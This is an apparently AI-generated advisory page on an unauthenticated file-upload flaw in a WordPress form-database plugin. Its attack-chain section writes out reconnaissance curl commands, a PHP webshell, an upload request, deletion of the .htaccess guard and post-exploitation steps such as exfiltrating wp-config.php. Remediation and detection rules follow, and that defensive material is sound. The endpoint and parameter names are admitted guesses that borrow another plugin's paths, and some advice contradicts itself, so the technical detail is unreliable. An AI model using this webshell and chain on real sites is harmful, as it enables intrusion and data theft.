CVE-2026-115867 — Crmperks Database For Contact Form 7, WPforms, E — CWE-434
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.5.5 via the copy_files function. This is due to missing file extension validation in the copy_files function, which accepts attacker-controlled stream wrapper URIs as the file source and derives the destination filename without restricting executable extensions. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. The plugin places an .htaccess file in its uploads directory to block PHP execution, but this mitigation is ineffective on Nginx, LiteSpeed in certain configurations, and Apache servers with AllowOverride None, and the file is not restored if deleted.
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.5.5 via the copy_files function. This is due to missing file extension validation in the copy_files function, which accepts attacker-controlled stream wrapper URIs as the file source and derives the destination filename without restricting executable extensions. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. The plugin places an .htaccess file in its uploads directory to block PHP execution, but this mitigation is ineffective on Nginx, LiteSpeed in certain configurations, and Apache servers with AllowOverride None, and the file is not restored if deleted.
🎯 What is this vulnerability?
CVE‑2026‑115867 is an Arbitrary File Upload flaw (CWE‑434) that exists in the Database for Contact Form 7, WPForms, Elementor Forms plugin for WordPress, affecting all versions up to and including 1.5.5.
The vulnerability is caused by the copy_files() function, which copies an uploaded file from a source URI to the plugin’s uploads directory without validating the file extension. The function accepts any stream‑wrapper URI (e.g., php://input, data://, http://, https://, ftp://, etc.) as the source. It then derives the destination filename from the source URI’s basename, but it does not enforce a whitelist of safe extensions (e.g., .jpg, .png, .pdf). Consequently, an attacker can upload a file with an executable extension such as .php, .php5, .phtml, .php7, .php8, or even a custom extension that the web server will treat as executable.
The plugin attempts to mitigate the risk by dropping an .htaccess file in the uploads directory that blocks PHP execution. However, this mitigation is ineffective on:
- Nginx (which ignores
.htaccessfiles entirely), - LiteSpeed in certain configurations (e.g., when
mod_securityis disabled or when the server is configured to allow PHP execution in sub‑directories), - Apache when
AllowOverride Noneis set (the.htaccessfile is ignored).
Because the .htaccess file is not restored if deleted, an attacker can simply delete it and immediately execute the uploaded PHP file.
The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H indicates that the flaw is network‑accessible, low‑complexity, no privilege or user interaction required, and has full confidentiality, integrity, and availability impact.
⚡ Attack Chain
NOTE: The exact endpoint and parameter names are not disclosed in the CVE description. The following example uses the most common pattern found in the plugin’s source code (/wp-admin/admin-ajax.php?action=wpforms_upload_file) and is provided purely as an illustrative payload. An attacker would first discover the real endpoint by scanning the site or inspecting the plugin’s JavaScript.1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns | |
|---|---|---|---|
| a. Site fingerprinting | curl -I https://target.com/wp-content/plugins/wpforms/ | Confirms the plugin is installed and the directory exists. | |
| b. Version enumeration | curl -s https://target.com/wp-content/plugins/wpforms/readme.txt or curl -s https://target.com/wp-content/plugins/wpforms/wpforms.php | grep "Version" | Retrieves the plugin version. |
| c. Endpoint discovery | curl -s https://target.com/wp-admin/admin-ajax.php?action=wpforms_upload_file | Determines the AJAX endpoint that handles file uploads. | |
| d. Parameter sniffing | Inspect the plugin’s JavaScript (wpforms.js) or use Burp Suite to capture a legitimate file‑upload request. | Identifies the file field name and any required hidden fields (action, nonce, etc.). |
2. Exploitation
Goal: Upload a PHP webshell that can be executed on the server.
2.1 Crafting the payload
# Create a simple PHP webshell
cat > shell.php <<'EOF'
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
EOF2.2 Uploading via the vulnerable endpoint
curl -X POST "https://target.com/wp-admin/admin-ajax.php?action=wpforms_upload_file" \
-F "[email protected];filename=shell.php" \
-F "nonce=1234567890abcdef" \
-F "action=wpforms_upload_file" \
-H "User-Agent: Mozilla/5.0" \
-o /dev/null -w "%{http_code}\n"[email protected];filename=shell.php – The copy_files() function will copy the file to the uploads directory as shell.php. nonce – The plugin expects a nonce; if the nonce is missing or invalid, the request may be rejected. In practice, the attacker can obtain a valid nonce by first performing a GET request to the form page and extracting the nonce from the page’s HTML. action – The AJAX action that triggers the upload logic.Illustrative Example – The actual parameter names (file,nonce,action) may differ. An attacker should adjust them based on the discovered endpoint.
2.3 Verifying the upload
curl -I "https://target.com/wp-content/uploads/wpforms/shell.php"If the response status is 200 OK and the Content-Type is text/html (or application/octet-stream), the file is present.
2.4 Bypassing the .htaccess mitigation
.htaccess support; the file is already executable. AllowOverride None – The .htaccess file is ignored. If the server uses Apache with AllowOverride All, the attacker can delete the .htaccess file:
curl -X DELETE "https://target.com/wp-content/uploads/wpforms/.htaccess"(Assuming the plugin does not protect the file from deletion.)
3. Post‑exploitation
Once the webshell is accessible, the attacker can:
1. Execute arbitrary commands via the cmd GET parameter:
curl "https://target.com/wp-content/uploads/wpforms/shell.php?cmd=whoami"2. Upload additional payloads (e.g., a reverse shell, a full‑featured webshell) using the same upload mechanism.
3. Escalate privileges by exploiting other local vulnerabilities (e.g., insecure file permissions, misconfigured PHP settings, or other plugins).
4. Data exfiltration – Read sensitive files (wp-config.php, database dumps) and send them to the attacker’s server.
5. Persistence – Place a cron job or modify wp-config.php to load the webshell on every request.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | The attacker can read any file on the server, including database credentials, user data, and other sensitive content. |
| Integrity (I:H) | The attacker can modify files, inject malicious code, or tamper with the website’s content and functionality. |
| Availability (A:H) | By deleting critical files (e.g., .htaccess, wp-config.php) or uploading destructive scripts, the attacker can render the site unusable or cause a denial‑of‑service. |
Because the flaw is unauthenticated and no user interaction is required, any publicly accessible WordPress site running the affected plugin is at risk. The impact is especially severe on sites that rely on the plugin for contact forms, lead capture, or e‑commerce checkout processes.
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fix |
|---|---|
| All versions ≤ 1.5.5 | Upgrade to 1.5.6 or later (the plugin’s maintainers have added strict file‑extension validation and removed the insecure copy_files() logic). |
Action: Run wp plugin update wpforms or manually replace the plugin directory with the latest release.2. Workarounds (if patching is delayed)
| Mitigation | Implementation | ||||
|---|---|---|---|---|---|
| Disable the upload endpoint | Remove or rename the AJAX action that handles uploads (wpforms_upload_file). This can be done by editing the plugin’s PHP files or by adding a custom plugin that hooks into init and removes the action: <br>add_action('init', function(){ remove_action('wp_ajax_wpforms_upload_file', 'wpforms_upload_file_handler'); remove_action('wp_ajax_nopriv_wpforms_upload_file', 'wpforms_upload_file_handler'); }); | ||||
| Restrict the uploads directory | Set the uploads directory to a non‑executable location (e.g., outside the web root) and serve files via a PHP script that validates MIME types. | ||||
| Enforce file‑type whitelist | Add a server‑side filter that rejects uploads with extensions other than .jpg, .jpeg, .png, .gif, .pdf, .doc, .docx, .xls, .xlsx, .txt. Example (Apache mod_rewrite):<br><FilesMatch "\.(php | php5 | phtml | php7 | php8)$">Require all denied</FilesMatch> |
| Block PHP execution in uploads | For Apache: ensure AllowOverride All and keep the .htaccess file that contains php_flag engine off. For Nginx: add location ~* \.(php | php5 | phtml | php7 | php8)$ { deny all; }. |
Delete the existing .htaccess | If the server ignores it, delete the file to prevent accidental execution of malicious uploads. |
3. Detection
| Indicator | Log pattern | How to detect |
|---|---|---|
| Upload attempts | POST /wp-admin/admin-ajax.php?action=wpforms_upload_file | Monitor for POST requests to the upload endpoint. |
| Unusual file extensions | .*\.php$ or .*\.php5$ in the request body | Use WAF rules to flag uploads with executable extensions. |
Deletion of .htaccess | DELETE /wp-content/uploads/wpforms/.htaccess | Log file‑system events or use OS‑level auditd rules. |
| Execution of uploaded scripts | GET /wp-content/uploads/wpforms/*.php | Look for 200 responses to PHP files in the uploads directory. |
ModSecurity rule example (Apache):
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
"chain,phase:2,log,deny,status:403,msg:'WPForms arbitrary file upload attempt'"
SecRule REQUEST_METHOD "POST" \
SecRule REQUEST_HEADERS:Content-Type "multipart/form-data" \
SecRule ARGS:file "@rx \.(php|php5|phtml|php7|php8)$" \
"t:none,t:lowercase"4. Monitoring
/wp-content/plugins/wpforms/)./wp-content/uploads/wpforms/ with executable extensions.wp-config.php and wp-content/uploads/ directories for unauthorized modifications.⚠️ Urgency
| Metric | Value | Interpretation |
|---|---|---|
| CVSS v3.1 Score | 9.8 | Critical |
| Exploit Complexity | Low | Requires only a crafted HTTP request. |
| Authentication | None | Unauthenticated attackers can exploit. |
| User Interaction | None | No user action needed. |
| CISA KEV | No | No official KEV listing yet, but the severity warrants immediate action. |
Recommendation:
Given the high CVSS score, low complexity, and lack of authentication, this vulnerability should be treated as a top‑priority patching item. Failure to remediate promptly can lead to full remote code execution and complete compromise of the affected WordPress site.
[🤖 CVE Professor AI Security Engine]
FOFA Query